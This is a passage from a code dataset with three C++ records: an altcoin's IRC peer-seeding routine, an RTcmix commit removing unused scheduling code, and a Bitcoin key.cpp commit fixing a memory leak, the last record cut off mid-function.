RecvLine(hSocket, strLine);\n if (fRet)\n {\n if (fShutdown)\n return false;\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() >= 1 && vWords[0] == \"PING\")\n {\n strLine[1] = 'O';\n strLine += '\\r';\n Send(hSocket, strLine.c_str());\n continue;\n }\n }\n return fRet;\n }\n}\n\nint RecvUntil(SOCKET hSocket, const char* psz1, const char* psz2=NULL, const char* psz3=NULL, const char* psz4=NULL)\n{\n loop\n {\n string strLine;\n strLine.reserve(10000);\n if (!RecvLineIRC(hSocket, strLine))\n return 0;\n printf(\"IRC %s\\n\", strLine.c_str());\n if (psz1 && strLine.find(psz1) != string::npos)\n return 1;\n if (psz2 && strLine.find(psz2) != string::npos)\n return 2;\n if (psz3 && strLine.find(psz3) != string::npos)\n return 3;\n if (psz4 && strLine.find(psz4) != string::npos)\n return 4;\n }\n}\n\nbool Wait(int nSeconds)\n{\n if (fShutdown)\n return false;\n printf(\"IRC waiting %d seconds to reconnect\\n\", nSeconds);\n for (int i = 0; i < nSeconds; i++)\n {\n if (fShutdown)\n return false;\n Sleep(1000);\n }\n return true;\n}\n\nbool RecvCodeLine(SOCKET hSocket, const char* psz1, string& strRet)\n{\n strRet.clear();\n loop\n {\n string strLine;\n if (!RecvLineIRC(hSocket, strLine))\n return false;\n\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() < 2)\n continue;\n\n if (vWords[1] == psz1)\n {\n printf(\"IRC %s\\n\", strLine.c_str());\n strRet = strLine;\n return true;\n }\n }\n}\n\nbool GetIPFromIRC(SOCKET hSocket, string strMyName, CNetAddr& ipRet)\n{\n Send(hSocket, strprintf(\"USERHOST %s\\r\", strMyName.c_str()).c_str());\n\n string strLine;\n if (!RecvCodeLine(hSocket, \"302\", strLine))\n return false;\n\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() < 4)\n return false;\n\n string str = vWords[3];\n if (str.rfind(\"@\") == string::npos)\n return false;\n string strHost = str.substr(str.rfind(\"@\")+1);\n\n \/\/ Hybrid IRC used by lfnet always returns IP when you userhost yourself,\n \/\/ but in case another IRC is ever used this should work.\n printf(\"GetIPFromIRC() got userhost %s\\n\", strHost.c_str());\n CNetAddr addr(strHost, true);\n if (!addr.IsValid())\n return false;\n ipRet = addr;\n\n return true;\n}\n\n\n\nvoid ThreadIRCSeed(void* parg)\n{\n \/\/ Make this thread recognisable as the IRC seeding thread\n RenameThread(\"bitcoin-ircseed\");\n\n try\n {\n ThreadIRCSeed2(parg);\n }\n catch (std::exception& e) {\n PrintExceptionContinue(&e, \"ThreadIRCSeed()\");\n } catch (...) {\n PrintExceptionContinue(NULL, \"ThreadIRCSeed()\");\n }\n printf(\"ThreadIRCSeed exited\\n\");\n}\n\nvoid ThreadIRCSeed2(void* parg)\n{\n \/\/ Don't connect to IRC if we won't use IPv4 connections.\n if (IsLimited(NET_IPV4))\n return;\n\n \/\/ ... or if we won't make outbound connections and won't accept inbound ones.\n if (mapArgs.count(\"-connect\") && fNoListen)\n return;\n\n \/\/ ... or if IRC is not enabled.\n if (!GetBoolArg(\"-irc\", true))\n return;\n\n printf(\"ThreadIRCSeed started\\n\");\n int nErrorWait = 10;\n int nRetryWait = 10;\n int nNameRetry = 0;\n\n while (!fShutdown)\n {\n CService addrConnect(\"173.246.103.92\", 6667); \/\/ eu.undernet.org\n\n CService addrIRC(\"pelican.heliacal.net\", 6667, true);\n if (addrIRC.IsValid())\n addrConnect = addrIRC;\n\n SOCKET hSocket;\n if (!ConnectSocket(addrConnect, hSocket))\n {\n printf(\"IRC connect failed\\n\");\n nErrorWait = nErrorWait * 11 \/ 10;\n if (Wait(nErrorWait += 60))\n continue;\n else\n return;\n }\n\n if (!RecvUntil(hSocket, \"Found your hostname\", \"using your IP address instead\", \"Couldn't look up your hostname\", \"ignoring hostname\"))\n {\n closesocket(hSocket);\n hSocket = INVALID_SOCKET;\n nErrorWait = nErrorWait * 11 \/ 10;\n if (Wait(nErrorWait += 60))\n continue;\n else\n return;\n }\n\n CNetAddr addrIPv4(\"1.2.3.4\"); \/\/ arbitrary IPv4 address to make GetLocal prefer IPv4 addresses\n CService addrLocal;\n string strMyName;\n \/\/ Don't use our IP as our nick if we're not listening\n \/\/ or if it keeps failing because the nick is already in use.\n if (!fNoListen && GetLocal(addrLocal, &addrIPv4) && nNameRetry<3)\n strMyName = EncodeAddress(GetLocalAddress(&addrConnect));\n if (strMyName == \"\")\n strMyName = strprintf(\"x%\"PRI64u\"\", GetRand(1000000000));\n\n Send(hSocket, strprintf(\"NICK %s\\r\", strMyName.c_str()).c_str());\n Send(hSocket, strprintf(\"USER %s 8 * : %s\\r\", strMyName.c_str(), strMyName.c_str()).c_str());\n\n int nRet = RecvUntil(hSocket, \" 004 \", \" 433 \");\n if (nRet != 1)\n {\n closesocket(hSocket);\n hSocket = INVALID_SOCKET;\n if (nRet == 2)\n {\n printf(\"IRC name already in use\\n\");\n nNameRetry++;\n Wait(10);\n continue;\n }\n nErrorWait = nErrorWait * 11 \/ 10;\n if (Wait(nErrorWait += 60))\n continue;\n else\n return;\n }\n nNameRetry = 0;\n Sleep(500);\n\n \/\/ Get our external IP from the IRC server and re-nick before joining the channel\n CNetAddr addrFromIRC;\n if (GetIPFromIRC(hSocket, strMyName, addrFromIRC))\n {\n printf(\"GetIPFromIRC() returned %s\\n\", addrFromIRC.ToString().c_str());\n \/\/ Don't use our IP as our nick if we're not listening\n if (!fNoListen && addrFromIRC.IsRoutable())\n {\n \/\/ IRC lets you to re-nick\n AddLocal(addrFromIRC, LOCAL_IRC);\n strMyName = EncodeAddress(GetLocalAddress(&addrConnect));\n Send(hSocket, strprintf(\"NICK %s\\r\", strMyName.c_str()).c_str());\n }\n }\n\n if (fTestNet) {\n Send(hSocket, \"JOIN #CGBullionTEST2\\r\");\n Send(hSocket, \"WHO #CGBullionTEST2\\r\");\n } else {\n \/\/ randomly join #CryptogenicBullion00-#CryptogenicBullion05\n \/\/ int channel_number = GetRandInt(5);\n\n \/\/ Channel number is always 0 for initial release\n int channel_number = 0;\n Send(hSocket, strprintf(\"JOIN #CGBullion%02d\\r\", channel_number).c_str());\n Send(hSocket, strprintf(\"WHO #CGBullion%02d\\r\", channel_number).c_str());\n }\n\n int64 nStart = GetTime();\n string strLine;\n strLine.reserve(10000);\n while (!fShutdown && RecvLineIRC(hSocket, strLine))\n {\n if (strLine.empty() || strLine.size() > 900 || strLine[0] != ':')\n continue;\n\n vector<string> vWords;\n ParseString(strLine, ' ', vWords);\n if (vWords.size() < 2)\n continue;\n\n char pszName[10000];\n pszName[0] = '\\0';\n\n if (vWords[1] == \"352\" && vWords.size() >= 8)\n {\n \/\/ index 7 is limited to 16 characters\n \/\/ could get full length name at index 10, but would be different from join messages\n strlcpy(pszName, vWords[7].c_str(), sizeof(pszName));\n printf(\"IRC got who\\n\");\n }\n\n if (vWords[1] == \"JOIN\" && vWords[0].size() > 1)\n {\n \/\/ :username!username@50000007.F000000B.90000002.IP JOIN :#channelname\n strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));\n if (strchr(pszName, '!'))\n *strchr(pszName, '!') = '\\0';\n printf(\"IRC got join\\n\");\n }\n\n if (pszName[0] == 'u')\n {\n CAddress addr;\n if (DecodeAddress(pszName, addr))\n {\n addr.nTime = GetAdjustedTime();\n if (addrman.Add(addr, addrConnect, 51 * 60))\n printf(\"IRC got new address: %s\\n\", addr.ToString().c_str());\n nGotIRCAddresses++;\n }\n else\n {\n printf(\"IRC decode failed\\n\");\n }\n }\n }\n closesocket(hSocket);\n hSocket = INVALID_SOCKET;\n\n if (GetTime() - nStart > 20 * 60)\n {\n nErrorWait \/= 3;\n nRetryWait \/= 3;\n }\n\n nRetryWait = nRetryWait * 11 \/ 10;\n if (!Wait(nRetryWait += 60))\n return;\n }\n}\n\n\n\n\n\n\n\n\n\n\n#ifdef TEST\nint main(int argc, char *argv[])\n{\n WSADATA wsadata;\n if (WSAStartup(MAKEWORD(2,2), &wsadata) != NO_ERROR)\n {\n printf(\"Error at WSAStartup()\\n\");\n return false;\n }\n\n ThreadIRCSeed(NULL);\n\n WSACleanup();\n return 0;\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* RTcmix - Copyright (C) 2000 The RTcmix Development Team\n See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for\n the license to this software and for a DISCLAIMER OF ALL WARRANTIES.\n*\/\n#include <globals.h>\n#include <ugens.h>\n#include <iostream.h>\n#include \"..\/rtstuff\/Instrument.h\"\n#include \"..\/rtstuff\/rtdefs.h\"\n#include \"..\/H\/dbug.h\"\n#include <stdlib.h>\n\n\/\/extern double schedtime;\n\nint Instrument::rtsetoutput(float start, float dur, Instrument *theInst)\n{\n\/\/ I know this is silly, but I wanted nsamps and I wanted it to\n\/\/ look like \"setnote\" in orig cmix insts\n \/\/ DJT: then perhaps we should call it rtsetnote?\n\n \/\/ DS: Adding check to be sure rtoutput() did not fail.\n\n if (rtfileit < 0) {\n \t die(theInst->name(), \"rtsetoutput: No output file open for this instrument (rtoutput failed?)!\");\n }\n\n \/\/ DJT: made change to increment schedtime here ... not sure how it will work\n\/\/ if (rtInteractive) {\n\/\/ #ifdef DBUG\n\/\/ cout << \"rtsetoutput(): rtInteractive mode set\\n\";\n\/\/ #endif\n\/\/ \tpthread_mutex_lock(&schedtime_lock);\n\/\/ start += (float)schedtime;\n\/\/ \tpthread_mutex_unlock(&schedtime_lock);\n\/\/ }\n \n theInst->_start = start;\n theInst->_dur = dur;\n theInst->nsamps = (int)(dur * SR);\n \n return(theInst->nsamps);\n}\n<commit_msg>Removed unused schedtime code.<commit_after>\/* RTcmix - Copyright (C) 2000 The RTcmix Development Team\n See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for\n the license to this software and for a DISCLAIMER OF ALL WARRANTIES.\n*\/\n#include <globals.h>\n#include <ugens.h>\n#include <iostream.h>\n#include \"..\/rtstuff\/Instrument.h\"\n#include \"..\/rtstuff\/rtdefs.h\"\n#include \"..\/H\/dbug.h\"\n#include <stdlib.h>\n\n\/\/extern double schedtime;\n\nint Instrument::rtsetoutput(float start, float dur, Instrument *theInst)\n{\n\/\/ I know this is silly, but I wanted nsamps and I wanted it to\n\/\/ look like \"setnote\" in orig cmix insts\n \/\/ DJT: then perhaps we should call it rtsetnote?\n\n \/\/ DS: Adding check to be sure rtoutput() did not fail.\n\n if (rtfileit < 0) {\n \t die(theInst->name(), \"rtsetoutput: No output file open for this instrument (rtoutput failed?)!\");\n }\n \n theInst->_start = start;\n theInst->_dur = dur;\n theInst->nsamps = (int)(dur * SR);\n \n return(theInst->nsamps);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009-2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <map>\n\n#include <openssl\/ecdsa.h>\n#include <openssl\/obj_mac.h>\n\n#include \"key.h\"\n\n\/\/ Generate a private key from just the secret parameter\nint EC_KEY_regenerate_key(EC_KEY *eckey, BIGNUM *priv_key)\n{\n int ok = 0;\n BN_CTX *ctx = NULL;\n EC_POINT *pub_key = NULL;\n\n if (!eckey) return 0;\n\n const EC_GROUP *group = EC_KEY_get0_group(eckey);\n\n if ((ctx = BN_CTX_new()) == NULL)\n goto err;\n\n pub_key = EC_POINT_new(group);\n\n if (pub_key == NULL)\n goto err;\n\n if (!EC_POINT_mul(group, pub_key, priv_key, NULL, NULL, ctx))\n goto err;\n\n EC_KEY_set_private_key(eckey,priv_key);\n EC_KEY_set_public_key(eckey,pub_key);\n\n ok = 1;\n\nerr:\n\n if (pub_key)\n EC_POINT_free(pub_key);\n if (ctx != NULL)\n BN_CTX_free(ctx);\n\n return(ok);\n}\n\n\/\/ Perform ECDSA key recovery (see SEC1 4.1.6) for curves over (mod p)-fields\n\/\/ recid selects which key is recovered\n\/\/ if check is nonzero, additional checks are performed\nint ECDSA_SIG_recover_key_GFp(EC_KEY *eckey, ECDSA_SIG *ecsig, const unsigned char *msg, int msglen, int recid, int check)\n{\n if (!eckey) return 0;\n\n int ret = 0;\n BN_CTX *ctx = NULL;\n\n BIGNUM *x = NULL;\n BIGNUM *e = NULL;\n BIGNUM *order = NULL;\n BIGNUM *sor = NULL;\n BIGNUM *eor = NULL;\n BIGNUM *field = NULL;\n EC_POINT *R = NULL;\n EC_POINT *O = NULL;\n EC_POINT *Q = NULL;\n BIGNUM *rr = NULL;\n BIGNUM *zero = NULL;\n int n = 0;\n int i = recid \/ 2;\n\n const EC_GROUP *group = EC_KEY_get0_group(eckey);\n if ((ctx = BN_CTX_new()) == NULL) { ret = -1; goto err; }\n BN_CTX_start(ctx);\n order = BN_CTX_get(ctx);\n if (!EC_GROUP_get_order(group, order, ctx)) { ret = -2; goto err; }\n x = BN_CTX_get(ctx);\n if (!BN_copy(x, order)) { ret=-1; goto err; }\n if (!BN_mul_word(x, i)) { ret=-1; goto err; }\n if (!BN_add(x, x, ecsig->r)) { ret=-1; goto err; }\n field = BN_CTX_get(ctx);\n if (!EC_GROUP_get_curve_GFp(group, field, NULL, NULL, ctx)) { ret=-2; goto err; }\n if (BN_cmp(x, field) >= 0) { ret=0; goto err; }\n if ((R = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n if (!EC_POINT_set_compressed_coordinates_GFp(group, R, x, recid % 2, ctx)) { ret=0; goto err; }\n if (check)\n {\n if ((O = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n if (!EC_POINT_mul(group, O, NULL, R, order, ctx)) { ret=-2; goto err; }\n if (!EC_POINT_is_at_infinity(group, O)) { ret = 0; goto err; }\n }\n if ((Q = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n n = EC_GROUP_get_degree(group);\n e = BN_CTX_get(ctx);\n if (!BN_bin2bn(msg, msglen, e)) { ret=-1; goto err; }\n if (8*msglen > n) BN_rshift(e, e, 8-(n & 7));\n zero = BN_CTX_get(ctx);\n if (!BN_zero(zero)) { ret=-1; goto err; }\n if (!BN_mod_sub(e, zero, e, order, ctx)) { ret=-1; goto err; }\n rr = BN_CTX_get(ctx);\n if (!BN_mod_inverse(rr, ecsig->r, order, ctx)) { ret=-1; goto err; }\n sor = BN_CTX_get(ctx);\n if (!BN_mod_mul(sor, ecsig->s, rr, order, ctx)) { ret=-1; goto err; }\n eor = BN_CTX_get(ctx);\n if (!BN_mod_mul(eor, e, rr, order, ctx)) { ret=-1; goto err; }\n if (!EC_POINT_mul(group, Q, eor, R, sor, ctx)) { ret=-2; goto err; }\n if (!EC_KEY_set_public_key(eckey, Q)) { ret=-2; goto err; }\n\n ret = 1;\n\nerr:\n if (ctx) {\n BN_CTX_end(ctx);\n BN_CTX_free(ctx);\n }\n if (R != NULL) EC_POINT_free(R);\n if (O != NULL) EC_POINT_free(O);\n if (Q != NULL) EC_POINT_free(Q);\n return ret;\n}\n\nvoid CKey::SetCompressedPubKey()\n{\n EC_KEY_set_conv_form(pkey, POINT_CONVERSION_COMPRESSED);\n fCompressedPubKey = true;\n}\n\nvoid CKey::Reset()\n{\n fCompressedPubKey = false;\n pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n if (pkey == NULL)\n throw key_error(\"CKey::CKey() : EC_KEY_new_by_curve_name failed\");\n fSet = false;\n}\n\nCKey::CKey()\n{\n Reset();\n}\n\nCKey::CKey(const CKey& b)\n{\n pkey = EC_KEY_dup(b.pkey);\n if (pkey == NULL)\n throw key_error(\"CKey::CKey(const CKey&) : EC_KEY_dup failed\");\n fSet = b.fSet;\n}\n\nCKey& CKey::operator=(const CKey& b)\n{\n if (!EC_KEY_copy(pkey, b.pkey))\n throw key_error(\"CKey::operator=(const CKey&) : EC_KEY_copy failed\");\n fSet = b.fSet;\n return (*this);\n}\n\nCKey::~CKey()\n{\n EC_KEY_free(pkey);\n}\n\nbool CKey::IsNull() const\n{\n return !fSet;\n}\n\nbool CKey::IsCompressed() const\n{\n return fCompressedPubKey;\n}\n\nvoid CKey::MakeNewKey(bool fCompressed)\n{\n if (!EC_KEY_generate_key(pkey))\n throw key_error(\"CKey::MakeNewKey() : EC_KEY_generate_key failed\");\n if (fCompressed)\n SetCompressedPubKey();\n fSet = true;\n}\n\nbool CKey::SetPrivKey(const CPrivKey& vchPrivKey)\n{\n const unsigned char* pbegin = &vchPrivKey[0];\n if (!d2i_ECPrivateKey(&pkey, &pbegin, vchPrivKey.size()))\n return false;\n fSet = true;\n return true;\n}\n\nbool CKey::SetSecret(const CSecret& vchSecret, bool fCompressed)\n{\n EC_KEY_free(pkey);\n pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n if (pkey == NULL)\n throw key_error(\"CKey::SetSecret() : EC_KEY_new_by_curve_name failed\");\n if (vchSecret.size() != 32)\n throw key_error(\"CKey::SetSecret() : secret must be 32 bytes\");\n BIGNUM *bn = BN_bin2bn(&vchSecret[0],32,BN_new());\n if (bn == NULL)\n throw key_error(\"CKey::SetSecret() : BN_bin2bn failed\");\n if (!EC_KEY_regenerate_key(pkey,bn))\n {\n BN_clear_free(bn);\n throw key_error(\"CKey::SetSecret() : EC_KEY_regenerate_key failed\");\n }\n BN_clear_free(bn);\n fSet = true;\n if (fCompressed || fCompressedPubKey)\n SetCompressedPubKey();\n return true;\n}\n\nCSecret CKey::GetSecret(bool &fCompressed) const\n{\n CSecret vchRet;\n vchRet.resize(32);\n const BIGNUM *bn = EC_KEY_get0_private_key(pkey);\n int nBytes = BN_num_bytes(bn);\n if (bn == NULL)\n throw key_error(\"CKey::GetSecret() : EC_KEY_get0_private_key failed\");\n int n=BN_bn2bin(bn,&vchRet[32 - nBytes]);\n if (n != nBytes)\n throw key_error(\"CKey::GetSecret(): BN_bn2bin failed\");\n fCompressed = fCompressedPubKey;\n return vchRet;\n}\n\nCPrivKey CKey::GetPrivKey() const\n{\n int nSize = i2d_ECPrivateKey(pkey, NULL);\n if (!nSize)\n throw key_error(\"CKey::GetPrivKey() : i2d_ECPrivateKey failed\");\n CPrivKey vchPrivKey(nSize, 0);\n unsigned char* pbegin = &vchPrivKey[0];\n if (i2d_ECPrivateKey(pkey, &pbegin) != nSize)\n throw key_error(\"CKey::GetPrivKey() : i2d_ECPrivateKey returned unexpected size\");\n return vchPrivKey;\n}\n\nbool CKey::SetPubKey(const CPubKey& vchPubKey)\n{\n const unsigned char* pbegin = &vchPubKey.vchPubKey[0];\n if (!o2i_ECPublicKey(&pkey, &pbegin, vchPubKey.vchPubKey.size()))\n return false;\n fSet = true;\n if (vchPubKey.vchPubKey.size() == 33)\n SetCompressedPubKey();\n return true;\n}\n\nCPubKey CKey::GetPubKey() const\n{\n int nSize = i2o_ECPublicKey(pkey, NULL);\n if (!nSize)\n throw key_error(\"CKey::GetPubKey() : i2o_ECPublicKey failed\");\n std::vector<unsigned char> vchPubKey(nSize, 0);\n unsigned char* pbegin = &vchPubKey[0];\n if (i2o_ECPublicKey(pkey, &pbegin) != nSize)\n throw key_error(\"CKey::GetPubKey() : i2o_ECPublicKey returned unexpected size\");\n return CPubKey(vchPubKey);\n}\n\nbool CKey::Sign(uint256 hash, std::vector<unsigned char>& vchSig)\n{\n unsigned int nSize = ECDSA_size(pkey);\n vchSig.resize(nSize); \/\/ Make sure it is big enough\n if (!ECDSA_sign(0, (unsigned char*)&hash, sizeof(hash), &vchSig[0], &nSize, pkey))\n {\n vchSig.clear();\n return false;\n }\n vchSig.resize(nSize); \/\/ Shrink to fit actual size\n return true;\n}\n\n\/\/ create a compact signature (65 bytes), which allows reconstructing the used public key\n\/\/ The format is one header byte, followed by two times 32 bytes for the serialized r and s values.\n\/\/ The header byte: 0x1B = first key with even y, 0x1C = first key with odd y,\n\/\/ 0x1D = second key with even y, 0x1E = second key with odd y\nbool CKey::SignCompact(uint256 hash, std::vector<unsigned char>& vchSig)\n{\n bool fOk = false;\n ECDSA_SIG *sig = ECDSA_do_sign((unsigned char*)&hash, sizeof(hash), pkey);\n if (sig==NULL)\n return false;\n vchSig.clear();\n vchSig.resize(65,0);\n int nBitsR = BN_num_bits(sig->r);\n int nBitsS = BN_num_bits(sig->s);\n if (nBitsR <= 256 && nBitsS <= 256)\n {\n int nRecId = -1;\n for (int i=0; i<4; i++)\n {\n CKey keyRec;\n keyRec.fSet = true;\n if (fCompressedPubKey)\n keyRec.SetCompressedPubKey();\n if (ECDSA_SIG_recover_key_GFp(keyRec.pkey, sig, (unsigned char*)&hash, sizeof(hash), i, 1) == 1)\n if (keyRec.GetPubKey() == this->GetPubKey())\n {\n nRecId = i;\n break;\n }\n }\n\n if (nRecId == -1)\n throw key_error(\"CKey::SignCompact() : unable to construct recoverable key\");\n\n vchSig[0] = nRecId+27+(fCompressedPubKey ? 4 : 0);\n BN_bn2bin(sig->r,&vchSig[33-(nBitsR+7)\/8]);\n BN_bn2bin(sig->s,&vchSig[65-(nBitsS+7)\/8]);\n fOk = true;\n }\n ECDSA_SIG_free(sig);\n return fOk;\n}\n\n\/\/ reconstruct public key from a compact signature\n\/\/ This is only slightly more CPU intensive than just verifying it.\n\/\/ If this function succeeds, the recovered public key is guaranteed to be valid\n\/\/ (the signature is a valid signature of the given data for that key)\nbool CKey::SetCompactSignature(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n if (vchSig.size() != 65)\n return false;\n int nV = vchSig[0];\n if (nV<27 || nV>=35)\n return false;\n ECDSA_SIG *sig = ECDSA_SIG_new();\n BN_bin2bn(&vchSig[1],32,sig->r);\n BN_bin2bn(&vchSig[33],32,sig->s);\n\n EC_KEY_free(pkey);\n pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n if (nV >= 31)\n {\n SetCompressedPubKey();\n nV -= 4;\n }\n if (ECDSA_SIG_recover_key_GFp(pkey, sig, (unsigned char*)&hash, sizeof(hash), nV - 27, 0) == 1)\n {\n fSet = true;\n ECDSA_SIG_free(sig);\n return true;\n }\n return false;\n}\n\nbool CKey::Verify(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n \/\/ -1 = error, 0 = bad sig, 1 = good\n if (ECDSA_verify(0, (unsigned char*)&hash, sizeof(hash), &vchSig[0], vchSig.size(), pkey) != 1)\n return false;\n\n return true;\n}\n\nbool CKey::VerifyCompact(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n CKey key;\n if (!key.SetCompactSignature(hash, vchSig))\n return false;\n if (GetPubKey() != key.GetPubKey())\n return false;\n\n return true;\n}\n\nbool CKey::IsValid()\n{\n if (!fSet)\n return false;\n\n bool fCompr;\n CSecret secret = GetSecret(fCompr);\n CKey key2;\n key2.SetSecret(secret, fCompr);\n return GetPubKey() == key2.GetPubKey();\n}\n<commit_msg>fix a memory leak in key.cpp<commit_after>\/\/ Copyright (c) 2009-2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <map>\n\n#include <openssl\/ecdsa.h>\n#include <openssl\/obj_mac.h>\n\n#include \"key.h\"\n\n\/\/ Generate a private key from just the secret parameter\nint EC_KEY_regenerate_key(EC_KEY *eckey, BIGNUM *priv_key)\n{\n int ok = 0;\n BN_CTX *ctx = NULL;\n EC_POINT *pub_key = NULL;\n\n if (!eckey) return 0;\n\n const EC_GROUP *group = EC_KEY_get0_group(eckey);\n\n if ((ctx = BN_CTX_new()) == NULL)\n goto err;\n\n pub_key = EC_POINT_new(group);\n\n if (pub_key == NULL)\n goto err;\n\n if (!EC_POINT_mul(group, pub_key, priv_key, NULL, NULL, ctx))\n goto err;\n\n EC_KEY_set_private_key(eckey,priv_key);\n EC_KEY_set_public_key(eckey,pub_key);\n\n ok = 1;\n\nerr:\n\n if (pub_key)\n EC_POINT_free(pub_key);\n if (ctx != NULL)\n BN_CTX_free(ctx);\n\n return(ok);\n}\n\n\/\/ Perform ECDSA key recovery (see SEC1 4.1.6) for curves over (mod p)-fields\n\/\/ recid selects which key is recovered\n\/\/ if check is nonzero, additional checks are performed\nint ECDSA_SIG_recover_key_GFp(EC_KEY *eckey, ECDSA_SIG *ecsig, const unsigned char *msg, int msglen, int recid, int check)\n{\n if (!eckey) return 0;\n\n int ret = 0;\n BN_CTX *ctx = NULL;\n\n BIGNUM *x = NULL;\n BIGNUM *e = NULL;\n BIGNUM *order = NULL;\n BIGNUM *sor = NULL;\n BIGNUM *eor = NULL;\n BIGNUM *field = NULL;\n EC_POINT *R = NULL;\n EC_POINT *O = NULL;\n EC_POINT *Q = NULL;\n BIGNUM *rr = NULL;\n BIGNUM *zero = NULL;\n int n = 0;\n int i = recid \/ 2;\n\n const EC_GROUP *group = EC_KEY_get0_group(eckey);\n if ((ctx = BN_CTX_new()) == NULL) { ret = -1; goto err; }\n BN_CTX_start(ctx);\n order = BN_CTX_get(ctx);\n if (!EC_GROUP_get_order(group, order, ctx)) { ret = -2; goto err; }\n x = BN_CTX_get(ctx);\n if (!BN_copy(x, order)) { ret=-1; goto err; }\n if (!BN_mul_word(x, i)) { ret=-1; goto err; }\n if (!BN_add(x, x, ecsig->r)) { ret=-1; goto err; }\n field = BN_CTX_get(ctx);\n if (!EC_GROUP_get_curve_GFp(group, field, NULL, NULL, ctx)) { ret=-2; goto err; }\n if (BN_cmp(x, field) >= 0) { ret=0; goto err; }\n if ((R = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n if (!EC_POINT_set_compressed_coordinates_GFp(group, R, x, recid % 2, ctx)) { ret=0; goto err; }\n if (check)\n {\n if ((O = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n if (!EC_POINT_mul(group, O, NULL, R, order, ctx)) { ret=-2; goto err; }\n if (!EC_POINT_is_at_infinity(group, O)) { ret = 0; goto err; }\n }\n if ((Q = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n n = EC_GROUP_get_degree(group);\n e = BN_CTX_get(ctx);\n if (!BN_bin2bn(msg, msglen, e)) { ret=-1; goto err; }\n if (8*msglen > n) BN_rshift(e, e, 8-(n & 7));\n zero = BN_CTX_get(ctx);\n if (!BN_zero(zero)) { ret=-1; goto err; }\n if (!BN_mod_sub(e, zero, e, order, ctx)) { ret=-1; goto err; }\n rr = BN_CTX_get(ctx);\n if (!BN_mod_inverse(rr, ecsig->r, order, ctx)) { ret=-1; goto err; }\n sor = BN_CTX_get(ctx);\n if (!BN_mod_mul(sor, ecsig->s, rr, order, ctx)) { ret=-1; goto err; }\n eor = BN_CTX_get(ctx);\n if (!BN_mod_mul(eor, e, rr, order, ctx)) { ret=-1; goto err; }\n if (!EC_POINT_mul(group, Q, eor, R, sor, ctx)) { ret=-2; goto err; }\n if (!EC_KEY_set_public_key(eckey, Q)) { ret=-2; goto err; }\n\n ret = 1;\n\nerr:\n if (ctx) {\n BN_CTX_end(ctx);\n BN_CTX_free(ctx);\n }\n if (R != NULL) EC_POINT_free(R);\n if (O != NULL) EC_POINT_free(O);\n if (Q != NULL) EC_POINT_free(Q);\n return ret;\n}\n\nvoid CKey::SetCompressedPubKey()\n{\n EC_KEY_set_conv_form(pkey, POINT_CONVERSION_COMPRESSED);\n fCompressedPubKey = true;\n}\n\nvoid CKey::Reset()\n{\n fCompressedPubKey = false;\n if (pkey != NULL)\n EC_KEY_free(pkey);\n pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n if (pkey == NULL)\n throw key_error(\"CKey::CKey() : EC_KEY_new_by_curve_name failed\");\n fSet = false;\n}\n\nCKey::CKey()\n{\n pkey = NULL;\n Reset();\n}\n\nCKey::CKey(const CKey& b)\n{\n pkey = EC_KEY_dup(b.pkey);\n if (pkey == NULL)\n throw key_error(\"CKey::CKey(const CKey&) : EC_KEY_dup failed\");\n fSet = b.fSet;\n}\n\nCKey& CKey::operator=(const CKey& b)\n{\n if (!EC_KEY_copy(pkey, b.pkey))\n throw key_error(\"CKey::operator=(const CKey&) : EC_KEY_copy failed\");\n fSet = b.fSet;\n return (*this);\n}\n\nCKey::~CKey()\n{\n EC_KEY_free(pkey);\n}\n\nbool CKey::IsNull() const\n{\n return !fSet;\n}\n\nbool CKey::IsCompressed() const\n{\n return fCompressedPubKey;\n}\n\nvoid CKey::MakeNewKey(bool fCompressed)\n{\n if (!EC_KEY_generate_key(pkey))\n throw key_error(\"CKey::MakeNewKey() : EC_KEY_generate_key failed\");\n if (fCompressed)\n SetCompressedPubKey();\n fSet = true;\n}\n\nbool CKey::SetPrivKey(const CPrivKey& vchPrivKey)\n{\n const unsigned char* pbegin = &vchPrivKey[0];\n if (!d2i_ECPrivateKey(&pkey, &pbegin, vchPrivKey.size()))\n return false;\n fSet = true;\n return true;\n}\n\nbool CKey::SetSecret(const CSecret& vchSecret, bool fCompressed)\n{\n EC_KEY_free(pkey);\n pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n if (pkey == NULL)\n throw key_error(\"CKey::SetSecret() : EC_KEY_new_by_curve_name failed\");\n if (vchSecret.size() != 32)\n throw key_error(\"CKey::SetSecret() : secret must be 32 bytes\");\n BIGNUM *bn = BN_bin2bn(&vchSecret[0],32,BN_new());\n if (bn == NULL)\n throw key_error(\"CKey::SetSecret() : BN_bin2bn failed\");\n if (!EC_KEY_regenerate_key(pkey,bn))\n {\n BN_clear_free(bn);\n throw key_error(\"CKey::SetSecret() : EC_KEY_regenerate_key failed\");\n }\n BN_clear_free(bn);\n fSet = true;\n if (fCompressed || fCompressedPubKey)\n SetCompressedPubKey();\n return true;\n}\n\nCSecret CKey::GetSecret(bool &fCompressed) const\n{\n CSecret vchRet;\n vchRet.resize(32);\n const BIGNUM *bn = 